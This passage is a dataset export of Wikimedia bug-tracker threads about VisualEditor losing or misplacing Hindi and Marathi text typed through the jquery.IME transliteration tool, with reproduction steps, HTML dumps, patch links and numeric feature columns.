Google Chrome 29.0.1547.66 m

Test URL:
https://www.mediawiki.org/wiki/User:Siddhartha_Ghai?veaction=edit

Steps:
Enable ULS IME hi transliteration
Blank the page and reset the formatting to simple paragraph
Follow the input steps described in Comment 0

Result:
The output is the same as described in Comment 0 as far as content selection is concerned. The formatting however, instead of changing to bulleted and numbered list, has gone blank. The formatting dropdown shows no value and no button in the VE toolbar is selected.

Pressing backspace still deletes the space and the word. It also resets the formatting to paragraph.",,,1379508686,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ejote3xjqqm7riq7xqwf,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,1.5,0.5,3.0,0.5,0.0,0.0,0.0,5.5,0.5,0.0,0.0,0.0,0.0,2.5,4.5,6.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,5.0,0.5,0.5,2.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,14.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,8.0,2.0,17.5,0.0,2.5,9.0,0.0,0.0,0.0,0.5,2.5,0.5,3.0,0.0,0.5,6.5,9.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.9407894736842106,0.6644736842105263,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The patch doesn't fix the bug.

System environment:
Win 7 X64 SP1
Google Chrome 29.0.1547.66 m

Test URL:
URL

Steps:
Enable ULS IME hi transliteration
Blank the page and reset the formatting to simple paragraph
Follow the input steps described in Comment 0

Result:
The output is the same as described in Comment 0 as far as content selection is concerned. The formatting however, instead of changing to bulleted and numbered list, has gone blank. The formatting dropdown shows no value and no button in the VE toolbar is selected.

Pressing backspace still deletes the space and the word. It also resets the formatting to paragraph."
234592,VisualEditor: Incorrect text selection with jquery.IME,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:

https://gerrit.wikimedia.org/r/#/c/82858/

Please let us know whether it fixes the bug!",,,1378943020,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-ejote3xjqqm7riq7xqwf,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,11.0,3.0,0.0,11.0,0.0,0.0,3.0,0.0,11.0,3.0,5.0,0.0,5.0,16.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.710526315789474,0.8947368421052632,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:

URL

Please let us know whether it fixes the bug!"
55705,VisualEditor: Content disappears when using jquery.IME,"System environment:
Win 7 X64
Google Chrome 29.0.1547.62 m

Steps to reproduce:
Open a blank page
Edit it in VE
Enable ULS IME hindi transliteration

Input 1:
agar[SPACE][ENTER/RETURN KEY]

Input 2:
kyaa[SPACE]

Expected output 1:
अगर[SPACE][NEWLINE]

Expected output 2:
क्या[SPACE]

Actual output 1:
[NEWLINE]

Actual output 2:
[SPACE]

For the first case, when the given characters are typed, everything is fine upto the pressing of the return key, ie agar[SPACE] gives अगर[SPACE] as expected. However, as soon as the return key is pressed the entire text disappears leaving only a newline.

For the second case, everything is fine till [SPACE] is pressed.

If the page is not blank, extreme weirdness occurs, which can only be explained with further bugs (which I'm about to file). In short though, the disappearances persist, along with other buggy effects.

Note: Page used for this test is [[:w:hi:सदस्य:Siddhartha Ghai/sandbox]]

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1378209360,1453749382.0,PHID-USER-4bjsher5mqcoikeqnnec,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-ycbizrojj6ti4ywzojyo,task_description,resolved,True,c1,3,False,False,False,9,,0.0,0.6666666666666666,0.0,1.3333333333333333,0.3333333333333333,6.666666666666667,1.0,0.0,0.3333333333333333,0.3333333333333333,2.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,3.0,5.666666666666667,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,4.333333333333333,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.6666666666666666,0.0,0.0,0.0,10.666666666666666,0.0,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,3.0,12.333333333333334,1.0,0.0,5.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.0,3.0,0.0,0.6666666666666666,5.666666666666667,7.333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,1.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,4.333333333333333,3.754246456778102,0.6233365790327815,"System environment:
Win 7 X64
Google Chrome 29.0.1547.62 m

Steps to reproduce:
Open a blank page
Edit it in VE
Enable ULS IME hindi transliteration

Input 1:
agar[SPACE][ENTER/RETURN KEY]

Input 2:
kyaa[SPACE]

Expected output 1:
अगर[SPACE][NEWLINE]

Expected output 2:
क्या[SPACE]

Actual output 1:
[NEWLINE]

Actual output 2:
[SPACE]

For the first case, when the given characters are typed, everything is fine upto the pressing of the return key, ie agar[SPACE] gives अगर[SPACE] as expected. However, as soon as the return key is pressed the entire text disappears leaving only a newline.

For the second case, everything is fine till [SPACE] is pressed.

If the page is not blank, extreme weirdness occurs, which can only be explained with further bugs (which I'm about to file). In short though, the disappearances persist, along with other buggy effects.

Note: Page used for this test is [[:w:hi:सदस्य:Siddhartha Ghai/sandbox]]

--------------------------
**Version**: unspecified
**Severity**: normal"
596669,VisualEditor: Content disappears when using jquery.IME,"As of https://gerrit.wikimedia.org/r/#/c/264577/ in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow.",,,1453749356,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ycbizrojj6ti4ywzojyo,task_subcomment,,True,c1,3,True,,,134,,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,7.0,0.0,7.0,11.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,18.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.035714285714286,0.8928571428571429,"As of URL in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow."
234545,VisualEditor: Content disappears when using jquery.IME,"Hi,

Besides Marathi and Hindi I tested this bug for more indic languages like Bangla, Ahirani,Konkni, etc.

Even after defficulties I am trying to use VE+ULS combination on Marathi Wikipedia as much as possible to have real time feel and understand the issues better.

For an example on Marathi Wikipedia we do have a page https://mr.wikipedia.org/wiki/वॉर_अँड_पीस . Other than info box it is empty. In Hindi and Marathi Wikipedia we do have large(huge) number of pages which are almost empty.Not able to type first word itself is a major hindrance and challenge before VE+ULS combinations.

So wish and hope bug number 53700 and 53705 remain on priority list 


rgds",,,1379826886,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-ycbizrojj6ti4ywzojyo,task_subcomment,,True,c1,3,False,,,11,,0.5,0.0,0.0,0.0,1.0,6.5,2.5,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,2.5,0.0,5.0,10.0,0.0,2.0,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,5.0,2.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,15.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,2.5,3.0,15.0,0.5,4.0,4.0,0.0,0.0,0.0,0.0,5.0,0.5,1.5,0.0,4.0,10.0,7.5,0.0,0.0,0.0,4.0,0.0,1.0,2.0,1.0,0.5,1.0,0.0,1.0,4.174603174603174,0.8015873015873016,"Hi,

Besides Marathi and Hindi I tested this bug for more indic languages like Bangla, Ahirani,Konkni, etc.

Even after defficulties I am trying to use VE+ULS combination on Marathi Wikipedia as much as possible to have real time feel and understand the issues better.

For an example on Marathi Wikipedia we do have a page URL . Other than info box it is empty. In Hindi and Marathi Wikipedia we do have large(huge) number of pages which are almost empty.Not able to type first word itself is a major hindrance and challenge before VE+ULS combinations.

So wish and hope bug number 53700 and 53705 remain on priority list 


rgds"
234538,VisualEditor: Content disappears when using jquery.IME,"HTML after input kyaa[SPACE]

**Attached**: {F11140}",,,1379506412,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ycbizrojj6ti4ywzojyo,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.2,0.8,"HTML after input kyaa[SPACE]

**Attached**: {F11140}"
234531,VisualEditor: Content disappears when using jquery.IME,"HTML after input kyaa

**Attached**: {F11139}",,,1379506301,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ycbizrojj6ti4ywzojyo,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9285714285714284,0.7857142857142857,"HTML after input kyaa

**Attached**: {F11139}"
234527,VisualEditor: Content disappears when using jquery.IME,"HTML after input agar[SPACE][ENTER/RETURN KEY]

**Attached**: {F11138}",,,1379506002,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ycbizrojj6ti4ywzojyo,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.611111111111111,0.8333333333333334,"HTML after input agar[SPACE][ENTER/RETURN KEY]

**Attached**: {F11138}"
234525,VisualEditor: Content disappears when using jquery.IME,"HTML after input agar[SPACE]

**Attached**: {F11136}",,,1379505701,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ycbizrojj6ti4ywzojyo,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.2,0.8,"HTML after input agar[SPACE]

**Attached**: {F11136}"
234523,VisualEditor: Content disappears when using jquery.IME,"(In reply to comment #3)
> Here's the HTML which is in the result:

The above HTML is not entirely correct. Copy-pasting messed up the text nodes. I'll be adding screenshots for the html as seen in the chrome console.",,,1379505046,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ycbizrojj6ti4ywzojyo,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,14.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,14.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,14.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.5348837209302326,0.9069767441860465,"(In reply to comment #3)
QUOTE

The above HTML is not entirely correct. Copy-pasting messed up the text nodes. I'll be adding screenshots for the html as seen in the chrome console."
234521,VisualEditor: Content disappears when using jquery.IME,"(In reply to comment #2)
> There's code to address this bug in the following patch, which is due to go
> live by mediawiki.org on 13 September 2013:
> 
> https://gerrit.wikimedia.org/r/#/c/82858/
> 
> Please let us know whether it fixes the bug!

The bug is not fixed. The behaviour for both the spaces specified in Comment 0 is still the same. Tested at https://www.mediawiki.org/wiki/User:Siddhartha_Ghai?veaction=edit

Here's the HTML which is in the result:

HTML for Input 1:

<div class=""ve-ce-documentNode ve-ce-branchNode"" contenteditable=""true"" spellcheck=""true"" lang=""en"" dir=""ltr""><p class=""ve-ce-branchNode""><span class=""ve-ce-branchNode-slug ve-ce-branchNode-inlineSlug""></span></p><p class=""ve-ce-branchNode""><span class=""ve-ce-branchNode-slug ve-ce-branchNode-inlineSlug""></span></p></div>

HTML for Input 2:

<div class=""ve-ce-documentNode ve-ce-branchNode"" contenteditable=""true"" spellcheck=""true"" lang=""en"" dir=""ltr""><p class=""ve-ce-branchNode"">&nbsp;</p></div>",,,1379503794,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ycbizrojj6ti4ywzojyo,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.5,0.5,13.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,4.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,3.0,1.5,9.5,0.0,0.5,3.5,0.0,0.0,0.0,0.5,0.5,0.0,3.5,0.0,0.0,4.0,18.0,0.0,5.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,4.3737928737928735,0.47644022644022643,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The bug is not fixed. The behaviour for both the spaces specified in Comment 0 is still the same. Tested at URL

Here's the HTML which is in the result:

HTML for Input 1:

<div class=""ve-ce-documentNode ve-ce-branchNode"" contenteditable=""true"" spellcheck=""true"" lang=""en"" dir=""ltr""><p class=""ve-ce-branchNode""><span class=""ve-ce-branchNode-slug ve-ce-branchNode-inlineSlug""></span></p><p class=""ve-ce-branchNode""><span class=""ve-ce-branchNode-slug ve-ce-branchNode-inlineSlug""></span></p></div>

HTML for Input 2:

<div class=""ve-ce-documentNode ve-ce-branchNode"" contenteditable=""true"" spellcheck=""true"" lang=""en"" dir=""ltr""><p class=""ve-ce-branchNode"">&nbsp;</p></div>"
234519,VisualEditor: Content disappears when using jquery.IME,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:

https://gerrit.wikimedia.org/r/#/c/82858/

Please let us know whether it fixes the bug!",,,1378943009,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-ycbizrojj6ti4ywzojyo,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,11.0,3.0,0.0,11.0,0.0,0.0,3.0,0.0,11.0,3.0,5.0,0.0,5.0,16.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.710526315789474,0.8947368421052632,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:

URL

Please let us know whether it fixes the bug!"
234516,VisualEditor: Content disappears when using jquery.IME,The further weirdness mentioned above is explained in Bug 53706 and Bug 53708,,,1378213142,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ycbizrojj6ti4ywzojyo,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,23.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.9230769230769231,The further weirdness mentioned above is explained in Bug 53706 and Bug 53708
55701,VisualEditor: Marathi/Devanagari: After typing first character cursor moves in wrong direction when using jquery.IME,"*VisualEditor+ULS Method of input = अक्षरांतरण language=Marathi 
Script=Devanagari  (Non-VE source edit environ,ULS Method of input = अक्षरांतरण
works normal     

*Tested Browser and OS =Firefox+Win7

*Problem description =In normal speed typing,after we type first alphaabate cursor moves from right to left direction.Word marathi need to apear मराठी with VE+ULS instead is coming राठीम 	

**additional details = Marathi language devanagari is written in left to right direction.But when we use ULS Method of input = अक्षरांतरण with VE cursor is moving in opposite direction after typing first charecter as if we are typing a right to left script after typing first charecter and then again moves left to right 

*Screenshot will be added

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49569",Medium,50.0,1378208100,1453749409.0,PHID-USER-azy72hrp3tpetr52aob6,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-fzc2bascptcvyjvfz6iv,task_description,resolved,True,c1,3,False,False,False,9,,0.0,0.0,0.0,1.0,0.0,5.5,0.0,0.0,0.0,0.5,3.0,0.0,0.0,0.0,0.0,1.5,0.0,4.0,11.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,4.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,3.5,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,3.0,15.0,1.0,1.5,0.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.5,11.5,13.0,0.0,0.0,0.0,1.5,0.0,0.5,0.5,0.0,3.0,0.0,0.0,1.5,4.258473389355743,0.6859943977591036,"*VisualEditor+ULS Method of input = अक्षरांतरण language=Marathi 
Script=Devanagari  (Non-VE source edit environ,ULS Method of input = अक्षरांतरण
works normal     

*Tested Browser and OS =Firefox+Win7

*Problem description =In normal speed typing,after we type first alphaabate cursor moves from right to left direction.Word marathi need to apear मराठी with VE+ULS instead is coming राठीम 	

**additional details = Marathi language devanagari is written in left to right direction.But when we use ULS Method of input = अक्षरांतरण with VE cursor is moving in opposite direction after typing first charecter as if we are typing a right to left script after typing first charecter and then again moves left to right 

*Screenshot will be added

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL"
596671,VisualEditor: Marathi/Devanagari: After typing first character cursor moves in wrong direction when using jquery.IME,"As of https://gerrit.wikimedia.org/r/#/c/264577/ in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow.",,,1453749391,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fzc2bascptcvyjvfz6iv,task_subcomment,,True,c1,3,True,,,134,,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,7.0,0.0,7.0,11.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,18.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.035714285714286,0.8928571428571429,"As of URL in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow."
234342,VisualEditor: Marathi/Devanagari: After typing first character cursor moves in wrong direction when using jquery.IME,"Would it be possible to test against current master? You can use this at
http://en.wikipedia.beta.wmflabs.org/ - we believe that we may have fixed the
issues (or, at least, changed the behaviour) since you tested it.

Thank you!",,,1381270429,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fzc2bascptcvyjvfz6iv,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,0.0,2.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,4.0,2.0,0.0,4.0,2.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,9.0,4.0,2.0,6.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,15.0,13.0,0.0,2.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.425531914893617,0.851063829787234,"Would it be possible to test against current master? You can use this at
URL - we believe that we may have fixed the
issues (or, at least, changed the behaviour) since you tested it.

Thank you!"
234337,VisualEditor: Marathi/Devanagari: After typing first character cursor moves in wrong direction when using jquery.IME,"Automatic Incorrect caret movement has been reported separately as Bug 54424

I suspect that this bug is a special case of that bug, but I may be wrong.",,,1379768841,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-fzc2bascptcvyjvfz6iv,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,3.0,0.0,10.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,16.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,16.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,10.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.064516129032258,0.9032258064516129,"Automatic Incorrect caret movement has been reported separately as Bug 54424

I suspect that this bug is a special case of that bug, but I may be wrong."
234334,VisualEditor: Marathi/Devanagari: After typing first character cursor moves in wrong direction when using jquery.IME,"(In reply to comment #2)

Did primary testing seems some change of behaviour and different kind of weird  aspects . will need more tests and time before confirming. 

Rgds",,,1379657273,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-fzc2bascptcvyjvfz6iv,task_subcomment,,True,c1,3,False,,,11,,3.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,4.0,0.8888888888888888,"(In reply to comment #2)

Did primary testing seems some change of behaviour and different kind of weird  aspects . will need more tests and time before confirming. 

Rgds"
234328,VisualEditor: Marathi/Devanagari: After typing first character cursor moves in wrong direction when using jquery.IME,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:

https://gerrit.wikimedia.org/r/#/c/82858/

Please let us know whether it fixes the bug!",,,1378942983,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-fzc2bascptcvyjvfz6iv,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,11.0,3.0,0.0,11.0,0.0,0.0,3.0,0.0,11.0,3.0,5.0,0.0,5.0,16.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.710526315789474,0.8947368421052632,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:

URL

Please let us know whether it fixes the bug!"
234322,VisualEditor: Marathi/Devanagari: After typing first character cursor moves in wrong direction when using jquery.IME,"[Not a blocker, see http://www.mediawiki.org/wiki/Bugzilla/Fields#Severity ]

> *Tested Browser and OS =Firefox+Win7

Which Firefox version?


What I tried:
